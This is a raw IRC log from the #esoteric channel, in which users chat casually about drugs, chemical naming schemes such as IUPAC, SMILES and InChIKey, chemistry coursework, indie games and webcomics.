PRIVMSG #esoteric :Octanitrocubane sounds like a metal band < 1395897249 90224 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :newsham: I find weed to be pretty effective at treating acute symptoms of depression and anxiety, but it doesn't really help me in the long term when I'm not stoned < 1395897255 253377 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :except in the sense that it's nice to have a fucking break < 1395897264 159713 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :also, it's not always helpful < 1395897277 125858 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :http://en.wikipedia.org/wiki/File:Edward_Calvin_Kendall_nobel.jpg edward kendall is watching you kill animals < 1395897278 851047 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :Ketamine works wonders < 1395897286 789540 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :frequently makes anxiety worse, although indica strains less so in my recent experience < 1395897290 230354 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :prooftechnique: i've heard that < 1395897317 164900 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I used to take 5HT psychedelics every few weeks and that was pretty effective too, but I don't think I'm up for it anymore < 1395897336 920622 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :fizzie should make an IUPAC name generator < 1395897356 938545 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :huh, tetrahedrane is harder to synthesize than truncated icosahedron -ane < 1395897420 594783 :tertu!~quassel@174-20-41-3.mpls.qwest.net JOIN :#esoteric < 1395897471 992838 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :http://pubs.acs.org/doi/abs/10.1021/ci00062a010 hell fucking yes < 1395897499 841454 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :when i asked you guys which game i should play next you all either said Braid or Bastion. No one picked Limbo. And Limbo is so much more fun than Braid. < 1395897542 762383 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :i didn't say either one < 1395897602 729759 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :wait CBD isn't a scheduled drug at all? interesting < 1395897611 749740 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :unless it's derived from the demon reefer, of course < 1395897668 123647 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :As we all know, what makes something "bad" is actually its origin. < 1395897690 730880 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :This is why I use only pipes made of free-range lead. < 1395897715 761590 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :http://en.wikipedia.org/wiki/File:TMS-tetrahedrane-3D-vdW.png "sup" < 1395897716 699895 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :And Yet It Moves is pretty fun < 1395897721 927317 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :quintopia: ^ < 1395897769 495566 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :kmc: http://en.wikipedia.org/wiki/Tetrahydrocannabinol#Isomerism i like how different isomers are scheduled differently < 1395897839 542306 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :kmc: actually now that i think about it that's another flaw with the labeled graphs thing, you need to distinguish isomers... < 1395897893 900317 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :Bike: Colorings! < 1395897908 389756 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :explain? < 1395897923 359638 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yeah < 1395897932 765564 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :coming up with a good formal model of the molecules is non-trivial, but could be done < 1395897937 250151 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :that's what systemic naming is already about < 1395897945 732649 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :but I think formally modeling the reaction steps is the really hard part < 1395897953 839915 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :I dunno. I was just thinking that colorings of the graphs could be used to represent isomers < 1395897967 491501 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i'm seriously pretty skeptical that IUPAC nomenclature is actually used for anything more complicated than like, dopamine < 1395897985 34927 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :and god i have no idea how organic reactions work. < 1395897999 954793 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i hear in orgo 1 classes you have to memorize a shitload of reactions because they don't tell you the theory until orgo 2 ;_; < 1395898065 480220 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yeah < 1395898088 249541 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :perhaps i can fix this with a bit of pauling, who explains quantum before table salt < 1395898089 759391 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :prooftechnique: Limbo reminded me of ayim at times < 1395898109 450971 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :Yeah, I could see that < 1395898118 231934 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :prooftechnique: but ayim plays in one hour, while Limbo manages to last 3. < 1395898128 111693 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :Fair < 1395898134 159205 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :Bike: Pauling is awesome < 1395898137 930413 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :also at my school ochem was at 9 in the morning and was one of the few classes with in-class tests and quizzes < 1395898142 140132 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :And I'm not exactly into chem < 1395898163 455285 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :prooftechnique: i have an undergrad textbook he wrote. < 1395898168 526482 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :it's kinda dated but still pauling < 1395898192 679278 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Bike: Yep, chemistry education seems to pretend that injecting a book in your head is the important part. < 1395898206 261049 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :it's so sad! i honestly love the theory < 1395898235 301265 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i can kind of understand why they'd want to back away from it, you need to be able to do like, quantum electrothermodynamics < 1395898256 971506 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :which, honestly, in my not-fully-a-chemist career i'm never going to use, so < 1395898331 21550 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Bike: as long as you know enough to synthesize LSD for me < 1395898360 169209 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :"following a recipe without burning myself alive" will hopefully be in my capabilities < 1395898369 568537 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it's p. complicated < 1395898373 817133 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :though i ddid nearly go into lab in shorts today... < 1395898377 139179 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://www.souleye.se/adventure music by the person who made VVVVVV music, including remixes of the VVVVVV songs < 1395898378 499506 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :eep < 1395898406 255948 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :we actually weren't working with anything caustic, lol. just some dye < 1395898446 929543 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :"This album contains, among other things, the two missing tracks from VVVVVV 2.0 that didn't make it to PPPPPP, the remix of Predestined Fate that was in VVVVVV 3DS, the completely reworked VVVVVV tracks used in the game Pulsen, remixes of game tunes my friends wanted me to make, polished up material from my site, entirely NEW content AND secret bonus tracks! " < 1395898463 419417 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :maybe one day you'll be a grad student and you'll have to be a TA for Intro Chem Lab For People Who Don't Give A Fuck < 1395898582 555771 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i'll have to TA something, that's for sure < 1395898590 692055 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i kind of regret being good at math because what if i get a job TAing math? < 1395898625 569610 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :Bike: TA a stats class < 1395898627 540247 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :It's easy < 1395898885 494822 :ket1v!~ket1v@147.69.37.57 QUIT :Remote host closed the connection < 1395898927 6642 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I know that grad students, as a rule, drink heavily, but do statisticians have a particular fondness for Guinness? < 1395898947 119605 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Why do you ask? < 1395898963 937312 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :t-test < 1395898983 229509 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :https://en.wikipedia.org/wiki/Student%27s_t-test < 1395898994 159723 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :In particular, https://en.wikipedia.org/wiki/Student%27s_t-test < 1395898997 69786 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Oh, right. The test that was made by a Guinness employee. :) < 1395899098 840712 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :ACTION notices he has no idea what statistics researchers do nowadays < 1395899112 563871 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :Get angry at sociologists, I imagin < 1395899115 43030 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :*imagine < 1395899136 950885 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :well everybody does that < 1395899165 753664 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :Ioannidis isn't even a statistician... < 1395899174 618812 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :(i mean, so to speak) < 1395899195 39736 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Bike: just random stuff hth < 1395899205 479140 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :thanks < 1395899491 533660 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395899598 722486 :tertu!~quassel@174-20-41-3.mpls.qwest.net QUIT :Ping timeout: 265 seconds < 1395899923 770989 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Thanks, FedEx, for that commercial, which would totally convince me to use your services... if it was the shipee that chose the carrier < 1395899940 847472 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :sometimes it is < 1395899967 440419 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :the merchant may offer you some kind of choice < 1395900032 738812 :variable!root@freebsd/developer/variable JOIN :#esoteric < 1395900067 291802 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :I had a roommate whose last name was Shipee < 1395900072 621826 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :Or was it two p's? < 1395900488 910922 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Wonder if anyone goes to Smalltalk places thinking it will help them with conversation skills < 1395900563 290572 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :wonder if anyone goes to Smalltalk places < 1395900579 510944 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :I imagine all the Self places are full of aimless 30-somethings < 1395900593 783366 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :They're all very interested in "Self help" < 1395900597 210747 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :where do the aimless 20-somethings go? < 1395900603 223245 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :lexande: Node forums < 1395901421 810713 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Bike: consuming some CBD right now < 1395901431 857324 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :consume that shit good, pardner < 1395901435 433044 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :don't know which isomer < 1395901492 300672 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i never toke without a spectrometer < 1395901985 241426 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :oerjan: Incidentally, the wiki is now running on the same machine HackEgo is. (But I don't really know anything about hackbot, so I shouldn't probably go poking around trying to find why it's all "No output." these days.) < 1395902045 131172 :Zom-B|zz!~Zom-B@143.177.41.147 PRIVMSG #esoteric :piet http://www.mezzacotta.net/garfield/?comic=559 < 1395902154 835800 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :nah just fix it < 1395902186 481091 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Zom-B|zz: fizzie made that < 1395902230 809580 :Zom-B|zz!~Zom-B@143.177.41.147 PRIVMSG #esoteric :is that his blog? < 1395902250 821444 :password2!~password@197.78.130.32 JOIN :#esoteric < 1395902273 140961 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :no, that's a collaborative comic site < 1395902303 911323 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :which is admined by david morgan-mar, piet's creator, although the comic has no other relation to piet < 1395902311 4545 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :no i like the idea that fizzie blogs in the form of edited garfield comics < 1395902333 672234 :Zom-B|zz!~Zom-B@143.177.41.147 PRIVMSG #esoteric :i mean the zem.fiz < 1395902345 271228 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :zem.fi is fizzie's site < 1395902366 621241 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i'm not sure he has a blog there, i just keep seeing post unconnected links < 1395902371 101491 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*him post < 1395902421 10411 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :there's something called a blog at lesat < 1395902424 36333 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :*lest < 1395902425 420764 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :*least < 1395902426 988360 :Zom-B|zz!~Zom-B@143.177.41.147 PRIVMSG #esoteric :what do you mean with admined? < 1395902486 216009 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Zom-B|zz: that he's the sysadmin for all of mezzacotta.net, as well as some other sites which are linked from there < 1395902506 523130 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :oh i read "admired by" < 1395902521 652069 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :i was wondering how you could possibly know that < 1395902546 271370 :Zom-B|zz!~Zom-B@143.177.41.147 PRIVMSG #esoteric :i first read admin -ed < 1395902560 611109 :Zom-B|zz!~Zom-B@143.177.41.147 PRIVMSG #esoteric :David Morgan-Mar only did some comics ther (found via te authors tab) < 1395902581 455589 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :david morgan-mar's own blog, dangermouse.net, is _not_ linked immediately from any obvious place in mezzacotta though, i think. < 1395902636 627383 :Zom-B|zz!~Zom-B@143.177.41.147 PRIVMSG #esoteric :maybe i'll send him a note about my piet-inspired Floater < 1395902637 311692 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Zom-B|zz: irregular webcomic was dmm's personal comic. he's starting up a new personal comic in april btw < 1395902657 917082 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :who is manyhills? < 1395902683 957619 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :and darths & droids is not dmm's comic alone, but it has a small set of authors (all his coworkers, i believe) < 1395902699 395013 :Zom-B|zz!~Zom-B@143.177.41.147 PRIVMSG #esoteric :i'm still in the progress of making a mandelbrot fractal ans other stuff in Floater, but as expected my job is slurping all my time < 1395902703 652838 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :the rest on there is collaborative in some way or other < 1395902704 631592 :Zom-B|zz!~Zom-B@143.177.41.147 PRIVMSG #esoteric :which i have to go to now < 1395902710 981381 :Zom-B|zz!~Zom-B@143.177.41.147 NICK :Zom-B|aw < 1395902717 323952 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :jobs more like terrible < 1395902733 25815 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :good one < 1395902773 240872 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :"I was the same way for a long time, and I think it’s because Achewood is so tightly character-focused that, if you’re not familiar with it, it just looks like a bunch of weird dogs saying weird words to each other. Turns out, those dogs are actually cats. Who knew?" ok < 1395902959 419452 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :quintopia: i don't know manyhills other than from seeing him on that site, but i think Taneb knew him from some other place too < 1395902999 691958 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well i _vaguely_ recall he may have been here on the channel some time i wasn't. < 1395903009 693559 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :or wasn't paying enough attention. < 1395903117 531815 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Bike: hm isn't only one of the dogs a cat? not that i pay much attention to achewood < 1395903128 726016 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i don't either < 1395903179 931038 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm i may be confusing with another comic < 1395903234 618171 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh i think i was thinking of get fuzzy < 1395903560 532012 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :i thought some of the dogs were dogs and some were cats < 1395903564 294550 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :and some were other animals < 1395905029 195413 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net QUIT :Quit: leaving < 1395905143 383786 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1395905355 351519 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :oerjan: I blogified zem.fi the other day. < 1395905365 551657 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :oerjan: To make it more trendy, y'see. < 1395905416 633035 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :oerjan: Even went so far as to convert everything that used to be there into backdated fake "blog posts". < 1395905462 111577 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :aha < 1395905678 976315 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :CVTTPMVCVTTSS2USMSKB < 1395905770 102808 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :PCLMULPGATHERDSUWRFNSSDWD < 1395905770 381444 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :that makes sense because i've been there before but saw no blog < 1395905803 10407 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :how about a quiz that gives you 8 fake mnemonics and 8 real ones and you have to decide which are which < 1395905975 355415 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Sounds like the next Flappy Bird to me. < 1395906000 241540 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Re the IUPAC name generator, a PCFG might work better there than an ngram model. < 1395906135 783405 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1395906425 761834 :ket1v!~ket1v@147.69.37.57 QUIT :Ping timeout: 252 seconds < 1395906456 459273 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1395906727 936258 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :probabilistic context-free grammar? < 1395906878 742090 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Right. < 1395906894 572107 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Given that they have so much structure. < 1395906909 781838 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Random pubchem IUPAC entry: 2-acetamido-3-[[2-acetamido-3-[[4,5-dihydroxy-6-(hydroxymethyl)-2-(2,3,4,5,6-pentahydroxycyclohexyl)oxyoxan-3-yl]amino]-3-oxopropyl]disulfanyl]-N-[4,5-dihydroxy-6-(hydroxymethyl)-2-(2,3,4,5,6-pentahydroxycyclohexyl)oxyoxan-3-yl]propanamide < 1395907076 675017 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i get lost as soon as mido- :/ < 1395907164 112357 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :not sure about oxyoxan either < 1395907283 270222 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :kind of unbelievable how complicated "2,3,4,5,6-pentahydroxycyclohexyl" is, since the actual structure really isn't < 1395907463 281771 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :would all randomly generated iupac names be real/possible substances? < 1395907650 494207 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :For improbable values of possible < 1395907660 521594 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Are those brackets part of the name < 1395907682 451971 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :yes, they indicate a side chain < 1395907767 593957 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :olsner: you might be able to name some that are physically impossible for reasons not part of IUPAC nomenclature, like if there are too many atoms to fit in three dimensions < 1395907882 591787 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :so what's the probability that fungot randomly generates the cure for cancer? < 1395907883 431652 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :olsner: i get stack overflow... not a lot of energy fnord beyond the blade. except if there's something that is so, the whole design philosophy is based on < 1395907938 837835 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i was going to say you could probably put huge amounts of atoms in to get stupid shit but apparently cycloicosane has a known structure so fuck, what isn't possible < 1395907994 491823 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :what's the IUPAC for buckminsterfullerene < 1395908006 389077 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :haha someone's actually synthesized cyclohexacontane < 1395908022 324823 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :(C60-Ih)[5,6]fullerene, how boring < 1395908028 124080 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :(some of t hose are subscripts) < 1395908064 261535 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ic < 1395908070 827268 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :"Cyclomagnesation of α,ω-diallenes by EtMgBr in the presence of chemically activated Mg and Cp 2 TiCl 2 catalyst led to the formation of cyclic organomagnesium compounds whose hydrolysis provided gigantic hydrocarbon macrorings with 1,5-cis-disubstituted double bonds." i don't know why you'd do this but it rules < 1395908107 701965 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :have they made a fake chemistry paper generator yet < 1395908116 258397 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :yes < 1395908123 582516 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :figures < 1395908133 941690 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(C\{60}-I\{h})[5,6]fullerene seems to be PubChem's syntax for subscripts, good to know. < 1395908134 289217 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i can't believe this compound exists. imagine buckministerfullerene except all the carbons are just in a stupid circle < 1395908145 528949 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :fizzie: OH BOY more markup ;_; < 1395908174 392647 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :There's also 2,4-dihydroxy-6-(hydroxymethyl)-6-methyl-2,4-dioxo-1,3,5,2$l^{5},4$l^{5}-trioxadiphosphocan-7-ol where ^ is probably superscript but I don't know about $l. < 1395908176 491873 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :why didn't they just borrow latex < 1395908199 902997 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :it would be just using _ instead of \ afaict < 1395908201 714981 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :because god is dead < 1395908213 129431 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :let me tell you about SMILES < 1395908222 542494 :lifthrasiir!~lifthrasi@115.68.131.49 PRIVMSG #esoteric :no freaking way < 1395908278 309733 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :http://en.wikipedia.org/wiki/File:Cephalostatine-1.svg the sad thing is, compounds like this actually exist < 1395908307 485631 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :ok the iupac rules < 1395908313 37514 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :«(2S,3R,3'R,3''R,4'S,4a'R,5S,6b'R,8a'S,11a'S,11b'S,13'R,13a'R,13b'S,14'S,16a'S,17b'R,19a'S,22a'S,22b'S,24a'R)-3,3'',13',13b'-Tetrahydroxy-5-(hydroxymethyl)-4',5,5'',5'',11a',13a',14',22a'-octamethyl-4, 4',4'',4a',5,5',5'',6b',7',8',8a',9',11',11a',11b',12',13',13a',13b',14',16a',17b',18',19',19a',20',22',22a',22b',23'-triacontahydro-3H,3''H,24'H-dispiro[furan-2,15'-furo[3'',2'':3',4']cyclopenta[1',2 ':5,6]naphtho[1,2-b]pyrano[3'',4'':2',3' < 1395908320 458480 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i imagine that cut off < 1395908379 94164 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Oh, $l is λ. Well, of course it is. < 1395908415 401980 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :so i take it SMILES is evil but InChl is worse? < 1395908507 911321 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :as far as i'm concerned they're twin horses of the apocalypse < 1395908515 841791 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ok < 1395908547 392122 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :"The InChIKey, sometimes referred to as a hashed InChI, is a fixed length (25 character) condensed digital representation of the InChI that is not human-understandable. The InChIKey specification was released in September 2007 in order to facilitate web searches for chemical compounds, since these were problematic with the full-length InChI.[5] It should be noted that, unlike the InChI, the InChIKey is not unique: though collisions can be c < 1395908589 606244 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :http://chem-bla-ics.blogspot.nl/2011/09/inchikey-collision-diy-copypastables.html hell yes. hash collision of hydrocarbons < 1395908648 522657 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :isn't evolution basically a search for hash collisions of hydrocarbons < 1395908679 755981 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :usually they're not just higher alkanes with a few methyls slapped on though ;p < 1395908741 605474 